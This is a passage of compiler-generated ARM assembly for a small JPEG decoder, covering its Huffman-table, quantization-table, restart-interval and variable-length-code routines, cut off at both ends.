.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_1_cond
.bbl if_17_true 4
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_1_cond 4
.bbl while_1_exit 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
cmp_imm al r0 9
b ge expr:jump24:if_20_end
.bbl while_2 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_2_cond 4
.bbl if_20_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 8
b eq expr:jump24:if_22_end
.bbl while_3 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 2
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_3_cond 4
.bbl if_22_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
add_imm al r0 r0 1
bl al expr:call:njDecode16
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:20
movt al r1 expr:movt_abs:nj:20
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
add_imm al r0 r0 3
bl al expr:call:njDecode16
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:16
movt al r1 expr:movt_abs:nj:16
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:16
movt al r0 expr:movt_abs:nj:16
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_4
.bbl branch_50 4
movw al r0 expr:movw_abs_nc:nj:20
movt al r0 expr:movt_abs:nj:20
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b ne expr:jump24:if_24_end
.bbl while_4 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_4_cond 4
.bbl if_24_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 5
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
str_imm_add al r1 0 r0
mov_imm al r0 6
bl al expr:call:__static_2_njSkip
movw al r0 expr:movw_abs_nc:nj:40
movt al r0 expr:movt_abs:nj:40
ldr_imm_add al r4 r0 0
cmp_imm al r4 3
b hi expr:jump24:while_5
.bbl if_24_end_1 4
movw al r0 expr:loc_movw_abs_nc:switch_505_tab
movt al r0 expr:loc_movt_abs:switch_505_tab
ldr_reg_add al pc r0 r4 lsl 2
.bbl while_5 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 2
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_5_cond 4
.bbl switch_505_end 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
mov_imm al r2 3
mul al r1 r1 r2
cmp_regimm al r1 r0 lsl 0
b ls expr:jump24:if_27_end
.bbl while_6 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_6_cond 4
.bbl if_27_end 4
mov_imm al r7 0
movw al r0 expr:movw_abs_nc:nj:44
movt al r0 expr:movt_abs:nj:44
mov_regimm al r6 r0 lsl 0
b al expr:jump24:for_15_cond
.bbl for_15 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
str_imm_add al r6 0 r0
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
mov_regimm al r0 r0 asr 4
str_imm_add al r6 4 r0
cmp_imm al r0 0
b ne expr:jump24:if_29_end
.bbl while_7 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_7_cond 4
.bbl if_29_end 4
ldr_imm_add al r0 r6 4
ldr_imm_add al r1 r6 4
sub_imm al r1 r1 1
and_regimm al r0 r0 r1 lsl 0
cmp_imm al r0 0
b eq expr:jump24:if_31_end
.bbl while_8 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 2
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_8_cond 4
.bbl if_31_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
and_imm al r0 r0 15
str_imm_add al r6 8 r0
cmp_imm al r0 0
b ne expr:jump24:if_33_end
.bbl while_9 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_9_cond 4
.bbl if_33_end 4
ldr_imm_add al r0 r6 8
ldr_imm_add al r1 r6 8
sub_imm al r1 r1 1
and_regimm al r0 r0 r1 lsl 0
cmp_imm al r0 0
b eq expr:jump24:if_35_end
.bbl while_10 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 2
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_10_cond 4
.bbl if_35_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 2
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
str_imm_add al r6 24 r0
and_imm al r0 r0 252
cmp_imm al r0 0
b eq expr:jump24:if_37_end
.bbl while_11 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_11_cond 4
.bbl if_37_end 4
mov_imm al r0 3
bl al expr:call:__static_2_njSkip
movw al r0 expr:movw_abs_nc:nj:176
movt al r0 expr:movt_abs:nj:176
ldr_imm_add al r0 r0 0
ldr_imm_add al r1 r6 24
mov_imm al r2 1
mov_regreg al r1 r2 lsl r1
orr_regimm al r0 r0 r1 lsl 0
movw al r1 expr:movw_abs_nc:nj:176
movt al r1 expr:movt_abs:nj:176
str_imm_add al r1 0 r0
ldr_imm_add al r0 r6 4
cmp_regimm al r0 r8 lsl 0
b le expr:jump24:if_38_end
.bbl if_38_true 4
ldr_imm_add al r0 r6 4
mov_regimm al r8 r0 lsl 0
.bbl if_38_end 4
ldr_imm_add al r0 r6 8
cmp_regimm al r0 r9 lsl 0
b le expr:jump24:for_15_next
.bbl if_39_true 4
ldr_imm_add al r0 r6 8
mov_regimm al r9 r0 lsl 0
.bbl for_15_next 4
add_imm al r0 r7 1
mov_regimm al r7 r0 lsl 0
add_imm al r0 r6 44
mov_regimm al r6 r0 lsl 0
.bbl for_15_cond 4
mov_regimm al r0 r7 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b cc expr:jump24:for_15
.bbl for_15_exit 4
movw al r0 expr:movw_abs_nc:nj:40
movt al r0 expr:movt_abs:nj:40
ldr_imm_add al r0 r0 0
cmp_imm al r0 1
b ne expr:jump24:if_41_end
.bbl if_41_true 4
mov_imm al r9 1
mov_imm al r8 1
movw al r0 expr:movw_abs_nc:nj:52
movt al r0 expr:movt_abs:nj:52
mov_imm al r1 1
str_imm_add al r0 0 r1
movw al r0 expr:movw_abs_nc:nj:48
movt al r0 expr:movt_abs:nj:48
mov_imm al r1 1
str_imm_add al r0 0 r1
.bbl if_41_end 4
mov_regimm al r0 r8 lsl 3
movw al r1 expr:movw_abs_nc:nj:32
movt al r1 expr:movt_abs:nj:32
str_imm_add al r1 0 r0
mov_regimm al r0 r9 lsl 3
movw al r1 expr:movw_abs_nc:nj:36
movt al r1 expr:movt_abs:nj:36
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:16
movt al r0 expr:movt_abs:nj:16
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:32
movt al r1 expr:movt_abs:nj:32
ldr_imm_add al r1 r1 0
add_regimm al r0 r0 r1 lsl 0
sub_imm al r0 r0 1
movw al r1 expr:movw_abs_nc:nj:32
movt al r1 expr:movt_abs:nj:32
ldr_imm_add al r1 r1 0
sdiv al r0 r0 r1
movw al r1 expr:movw_abs_nc:nj:24
movt al r1 expr:movt_abs:nj:24
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:20
movt al r0 expr:movt_abs:nj:20
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:36
movt al r1 expr:movt_abs:nj:36
ldr_imm_add al r1 r1 0
add_regimm al r0 r0 r1 lsl 0
sub_imm al r0 r0 1
movw al r1 expr:movw_abs_nc:nj:36
movt al r1 expr:movt_abs:nj:36
ldr_imm_add al r1 r1 0
sdiv al r0 r0 r1
movw al r1 expr:movw_abs_nc:nj:28
movt al r1 expr:movt_abs:nj:28
str_imm_add al r1 0 r0
mov_imm al r7 0
movw al r0 expr:movw_abs_nc:nj:44
movt al r0 expr:movt_abs:nj:44
mov_regimm al r6 r0 lsl 0
b al expr:jump24:for_16_cond
.bbl for_16 4
movw al r0 expr:movw_abs_nc:nj:16
movt al r0 expr:movt_abs:nj:16
ldr_imm_add al r0 r0 0
ldr_imm_add al r1 r6 4
mul al r0 r0 r1
add_regimm al r0 r0 r8 lsl 0
sub_imm al r0 r0 1
sdiv al r0 r0 r8
str_imm_add al r6 12 r0
movw al r0 expr:movw_abs_nc:nj:20
movt al r0 expr:movt_abs:nj:20
ldr_imm_add al r0 r0 0
ldr_imm_add al r1 r6 8
mul al r0 r0 r1
add_regimm al r0 r0 r9 lsl 0
sub_imm al r0 r0 1
sdiv al r0 r0 r9
str_imm_add al r6 16 r0
movw al r0 expr:movw_abs_nc:nj:24
movt al r0 expr:movt_abs:nj:24
ldr_imm_add al r0 r0 0
ldr_imm_add al r1 r6 4
mul al r0 r0 r1
mov_regimm al r0 r0 lsl 3
str_imm_add al r6 20 r0
ldr_imm_add al r0 r6 12
cmp_imm al r0 3
b ge expr:jump24:branch_51
.bbl branch_52 4
ldr_imm_add al r0 r6 4
cmp_regimm al r0 r8 lsl 0
b ne expr:jump24:while_12
.bbl branch_51 4
ldr_imm_add al r0 r6 16
cmp_imm al r0 3
b ge expr:jump24:if_43_end
.bbl branch_53 4
ldr_imm_add al r0 r6 8
cmp_regimm al r0 r9 lsl 0
b eq expr:jump24:if_43_end
.bbl while_12 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 2
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_12_cond 4
.bbl if_43_end 4
ldr_imm_add al r0 r6 20
movw al r1 expr:movw_abs_nc:nj:28
movt al r1 expr:movt_abs:nj:28
ldr_imm_add al r1 r1 0
mul al r0 r0 r1
ldr_imm_add al r1 r6 8
mul al r0 r0 r1
mov_regimm al r0 r0 lsl 3
mov_regimm al r0 r0 lsl 0
bl al expr:call:malloc
str_imm_add al r6 40 r0
cmp_imm al r0 0
b ne expr:jump24:for_16_next
.bbl while_13 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 3
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_13_cond 4
.bbl for_16_next 4
add_imm al r0 r7 1
mov_regimm al r7 r0 lsl 0
add_imm al r0 r6 44
mov_regimm al r6 r0 lsl 0
.bbl for_16_cond 4
mov_regimm al r0 r7 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
cmp_regimm al r0 r1 lsl 0
b cc expr:jump24:for_16
.bbl for_16_exit 4
movw al r0 expr:movw_abs_nc:nj:40
movt al r0 expr:movt_abs:nj:40
ldr_imm_add al r0 r0 0
cmp_imm al r0 3
b ne expr:jump24:if_49_end
.bbl if_49_true 4
movw al r0 expr:movw_abs_nc:nj:16
movt al r0 expr:movt_abs:nj:16
ldr_imm_add al r0 r0 0
movw al r1 expr:movw_abs_nc:nj:20
movt al r1 expr:movt_abs:nj:20
ldr_imm_add al r1 r1 0
mul al r0 r0 r1
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:40
movt al r1 expr:movt_abs:nj:40
ldr_imm_add al r1 r1 0
mul al r0 r0 r1
bl al expr:call:malloc
movw al r1 expr:movw_abs_nc:nj:524996
movt al r1 expr:movt_abs:nj:524996
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:524996
movt al r0 expr:movt_abs:nj:524996
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b ne expr:jump24:if_49_end
.bbl while_14 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 3
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl while_14_cond 4
.bbl if_49_end 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
bl al expr:call:__static_2_njSkip
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:8
.fun njDecodeDHT 16
stmdb_update al sp reglist:0x4fc0
sub_imm al sp sp 20
.bbl %start 4
bl al expr:call:__static_3_njDecodeLength
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_1_cond
.bbl if_13_true 4
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_1_cond 4
b al expr:jump24:while_7_cond
.bbl while_7 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r5 r0 lsl 0
and_imm al r0 r5 236
cmp_imm al r0 0
b eq expr:jump24:if_16_end
.bbl while_2 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_2_cond 4
.bbl if_16_end 4
and_imm al r0 r5 2
cmp_imm al r0 0
b eq expr:jump24:if_18_end
.bbl while_3 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 2
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_3_cond 4
.bbl if_18_end 4
mov_regimm al r0 r5 asr 3
orr_regimm al r0 r5 r0 lsl 0
and_imm al r6 r0 3
mov_imm al r7 1
b al expr:jump24:for_9_cond
.bbl for_9 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_reg_add al r0 r0 r7 lsl 0
uxtb al r0 r0 0
sub_imm al r1 r7 1
mov_regimm al r0 r0 lsl 0
movw al r2 expr:movw_abs_nc:__static_4_counts
movt al r2 expr:movt_abs:__static_4_counts
strb_reg_add al r2 r1 lsl 0 r0
.bbl for_9_next 4
add_imm al r0 r7 1
mov_regimm al r7 r0 lsl 0
.bbl for_9_cond 4
cmp_imm al r7 16
b le expr:jump24:for_9
.bbl for_9_exit 4
mov_imm al r0 17
bl al expr:call:__static_2_njSkip
movw al r0 expr:movw_abs_nc:nj:440
movt al r0 expr:movt_abs:nj:440
mov_regimm al r1 r6 lsl 16
mov_regimm al r1 r1 lsl 1
add_regimm al r0 r0 r1 lsl 0
mov_regimm al sl r0 lsl 0
mov_imm al r9 65536
mov_imm al r8 65536
mov_imm al r7 1
b al expr:jump24:for_12_cond
.bbl for_12 4
mov_regimm al ip r9 asr 1
mov_regimm al r9 ip lsl 0
sub_imm al r0 r7 1
movw al r1 expr:movw_abs_nc:__static_4_counts
movt al r1 expr:movt_abs:__static_4_counts
ldrb_reg_add al r0 r1 r0 lsl 0
uxtb al r0 r0 0
mov_regimm al lr r0 lsl 0
cmp_imm al lr 0
b eq expr:jump24:for_12_next
.bbl if_20_end 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
cmp_regimm al lr r0 lsl 0
b le expr:jump24:if_22_end
.bbl while_4 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_4_cond 4
.bbl if_22_end 4
rsb_imm al r0 r7 16
mov_regreg al r0 lr lsl r0
sub_regimm al r0 r8 r0 lsl 0
mov_regimm al r8 r0 lsl 0
cmp_imm al r0 0
b ge expr:jump24:if_24_end
.bbl while_5 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_5_cond 4
.bbl if_24_end 4
mov_imm al r0 0
str_imm_add al sp 0 r0
b al expr:jump24:for_11_cond
.bbl for_11 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldr_imm_add al r1 sp 0
ldrb_reg_add al r0 r0 r1 lsl 0
uxtb al fp r0 0
mov_regimm al r0 ip lsl 0
str_imm_add al sp 4 r0
b al expr:jump24:for_10_cond
.bbl for_10 4
mov_regimm al r0 r7 lsl 0
mov_regimm al r0 r0 lsl 0
strb_imm_add al sl 0 r0
mov_regimm al r0 fp lsl 0
strb_imm_add al sl 1 r0
add_imm al r0 sl 2
mov_regimm al sl r0 lsl 0
.bbl for_10_next 4
ldr_imm_add al r0 sp 4
sub_imm al r0 r0 1
str_imm_add al sp 4 r0
.bbl for_10_cond 4
ldr_imm_add al r0 sp 4
cmp_imm al r0 0
b ne expr:jump24:for_10
.bbl for_11_next 4
ldr_imm_add al r0 sp 0
add_imm al r0 r0 1
str_imm_add al sp 0 r0
.bbl for_11_cond 4
ldr_imm_add al r0 sp 0
cmp_regimm al r0 lr lsl 0
b lt expr:jump24:for_11
.bbl for_11_exit 4
mov_regimm al r0 lr lsl 0
bl al expr:call:__static_2_njSkip
.bbl for_12_next 4
add_imm al r0 r7 1
mov_regimm al r7 r0 lsl 0
.bbl for_12_cond 4
cmp_imm al r7 16
b le expr:jump24:for_12
.bbl for_12_condbra1 4
b al expr:jump24:while_6_cond
.bbl while_6 4
sub_imm al r0 r8 1
mov_regimm al r8 r0 lsl 0
mov_imm al r0 0
strb_imm_add al sl 0 r0
add_imm al r0 sl 2
mov_regimm al sl r0 lsl 0
.bbl while_6_cond 4
cmp_imm al r8 0
b ne expr:jump24:while_6
.bbl while_7_cond 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
cmp_imm al r0 17
b ge expr:jump24:while_7
.bbl while_7_exit 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:if_31_end
.bbl while_8 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.bbl while_8_cond 4
.bbl if_31_end 4
add_imm al sp sp 20
ldmia_update al reglist:0x8fc0 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:0
.fun njDecodeDQT 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl %start 4
bl al expr:call:__static_3_njDecodeLength
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_1_cond
.bbl if_6_true 4
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.bbl while_1_cond 4
b al expr:jump24:while_3_cond
.bbl while_3 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
ldrb_imm_add al r0 r0 0
uxtb al r0 r0 0
mov_regimm al r4 r0 lsl 0
and_imm al r0 r4 252
cmp_imm al r0 0
b eq expr:jump24:if_9_end
.bbl while_2 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.bbl while_2_cond 4
.bbl if_9_end 4
movw al r0 expr:movw_abs_nc:nj:180
movt al r0 expr:movt_abs:nj:180
ldr_imm_add al r0 r0 0
mov_imm al r1 1
mov_regreg al r1 r1 lsl r4
orr_regimm al r0 r0 r1 lsl 0
movw al r1 expr:movw_abs_nc:nj:180
movt al r1 expr:movt_abs:nj:180
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:184
movt al r0 expr:movt_abs:nj:184
mov_regimm al r1 r4 lsl 6
add_regimm al r3 r0 r1 lsl 0
mov_imm al r5 0
b al expr:jump24:for_5_cond
.bbl for_5 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
add_imm al r1 r5 1
ldrb_reg_add al r0 r0 r1 lsl 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
strb_reg_add al r3 r5 lsl 0 r0
.bbl for_5_next 4
add_imm al r0 r5 1
mov_regimm al r5 r0 lsl 0
.bbl for_5_cond 4
cmp_imm al r5 64
b lt expr:jump24:for_5
.bbl for_5_exit 4
mov_imm al r0 65
bl al expr:call:__static_2_njSkip
.bbl while_3_cond 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
cmp_imm al r0 65
b ge expr:jump24:while_3
.bbl while_3_exit 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:if_13_end
.bbl while_4 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.bbl while_4_cond 4
.bbl if_13_end 4
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [] -> OUT: [] stk_size:0
.fun njDecodeDRI 16
stmdb_update al sp reglist:0x4000
sub_imm al sp sp 12
.bbl %start 4
bl al expr:call:__static_3_njDecodeLength
.bbl while_1 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
ldr_imm_add al r0 r0 0
cmp_imm al r0 0
b eq expr:jump24:while_1_cond
.bbl if_3_true 4
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.bbl while_1_cond 4
.bbl while_1_exit 4
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
cmp_imm al r0 2
b ge expr:jump24:if_6_end
.bbl while_2 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.bbl while_2_cond 4
.bbl if_6_end 4
movw al r0 expr:movw_abs_nc:nj:4
movt al r0 expr:movt_abs:nj:4
ldr_imm_add al r0 r0 0
bl al expr:call:njDecode16
mov_regimm al r0 r0 lsl 0
movw al r1 expr:movw_abs_nc:nj:524992
movt al r1 expr:movt_abs:nj:524992
str_imm_add al r1 0 r0
movw al r0 expr:movw_abs_nc:nj:12
movt al r0 expr:movt_abs:nj:12
ldr_imm_add al r0 r0 0
bl al expr:call:__static_2_njSkip
add_imm al sp sp 12
ldmia_update al reglist:0x8000 sp
.endfun
# sig: IN: [A32 A32] -> OUT: [S32] stk_size:0
.fun njGetVLC 16
stmdb_update al sp reglist:0x43c0
sub_imm al sp sp 12
.bbl %start 4
mov_regimm al r9 r0 lsl 0
mov_regimm al r8 r1 lsl 0
mov_imm al r0 16
bl al expr:call:__static_1_njShowBits
mov_regimm al r6 r0 lsl 0
mov_regimm al r0 r6 lsl 1
ldrb_reg_add al r0 r9 r0 lsl 0
uxtb al r0 r0 0
mov_regimm al r3 r0 lsl 0
cmp_imm al r3 0
b ne expr:jump24:if_1_end
.bbl if_1_true 4
movw al r0 expr:movw_abs_nc:nj
movt al r0 expr:movt_abs:nj
mov_imm al r1 5
str_imm_add al r0 0 r1
mov_imm al r0 0
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl if_1_end 4
mov_regimm al r0 r3 lsl 0
bl al expr:call:njSkipBits
mov_regimm al r0 r6 lsl 1
add_regimm al r0 r9 r0 lsl 0
ldrb_imm_add al r0 r0 1
uxtb al r0 r0 0
mov_regimm al r4 r0 lsl 0
cmp_imm al r8 0
b eq expr:jump24:if_2_end
.bbl if_2_true 4
mov_regimm al r0 r4 lsl 0
mov_regimm al r0 r0 lsl 0
strb_imm_add al r8 0 r0
.bbl if_2_end 4
and_imm al r7 r4 15
cmp_imm al r7 0
b ne expr:jump24:if_3_end
.bbl if_3_true 4
mov_imm al r0 0
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl if_3_end 4
mov_regimm al r0 r7 lsl 0
bl al expr:call:njGetBits
mov_regimm al r5 r0 lsl 0
mov_regimm al ip r5 lsl 0
sub_imm al r0 r7 1
mov_imm al r1 1
mov_regreg al r0 r1 lsl r0
cmp_regimm al r0 r5 lsl 0
b le expr:jump24:if_4_end
.bbl if_4_true 4
mvn_imm al r0 0
mov_regreg al r0 r0 lsl r7
add_imm al r0 r0 1
add_regimm al r0 r5 r0 lsl 0
mov_regimm al ip r0 lsl 0
.bbl if_4_end 4
mov_regimm al r0 ip lsl 0
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.endfun
# sig: IN: [A32 A32] -> OUT: [] stk_size:1
.fun njDecodeBlock 16
stmdb_update al sp reglist:0x43c0
sub_imm al sp sp 12
.bbl %start 4
mov_regimm al r6 r0 lsl 0
mov_regimm al r8 r1 lsl 0
mov_imm al r0 0
strb_imm_add al sp 0 r0
mov_imm al r7 0
movw al r0 expr:movw_abs_nc:nj:524736
movt al r0 expr:movt_abs:nj:524736
mov_imm al r2 256
mov_imm al r1 0
bl al expr:call:mymemset
ldr_imm_add al r9 r6 36
movw al r0 expr:movw_abs_nc:nj:440
movt al r0 expr:movt_abs:nj:440
ldr_imm_add al r1 r6 32
mov_regimm al r1 r1 lsl 16
mov_regimm al r1 r1 lsl 1
add_regimm al r0 r0 r1 lsl 0
mov_imm al r1 0
bl al expr:call:njGetVLC
add_regimm al r0 r9 r0 lsl 0
str_imm_add al r6 36 r0
ldr_imm_add al r0 r6 36
movw al r1 expr:movw_abs_nc:nj:184
movt al r1 expr:movt_abs:nj:184
ldr_imm_add al r2 r6 24
mov_regimm al r2 r2 lsl 6
ldrb_reg_add al r1 r1 r2 lsl 0
uxtb al r1 r1 0
mov_regimm al r1 r1 lsl 0
mul al r0 r0 r1
movw al r1 expr:movw_abs_nc:nj:524736
movt al r1 expr:movt_abs:nj:524736
str_imm_add al r1 0 r0
.bbl while_3 4
movw al r0 expr:movw_abs_nc:nj:440
movt al r0 expr:movt_abs:nj:440
ldr_imm_add al r1 r6 28
mov_regimm al r1 r1 lsl 16
mov_regimm al r1 r1 lsl 1
add_regimm al r0 r0 r1 lsl 0
add_imm al r1 sp 0
bl al expr:call:njGetVLC
mov_regimm al r4 r0 lsl 0
ldrb_imm_add al r0 sp 0
uxtb al r0 r0 0
mov_regimm al r0 r0 lsl 0
cmp_imm al r0 0
b eq expr:jump24:while_3_exit
.bbl if_6_end 4
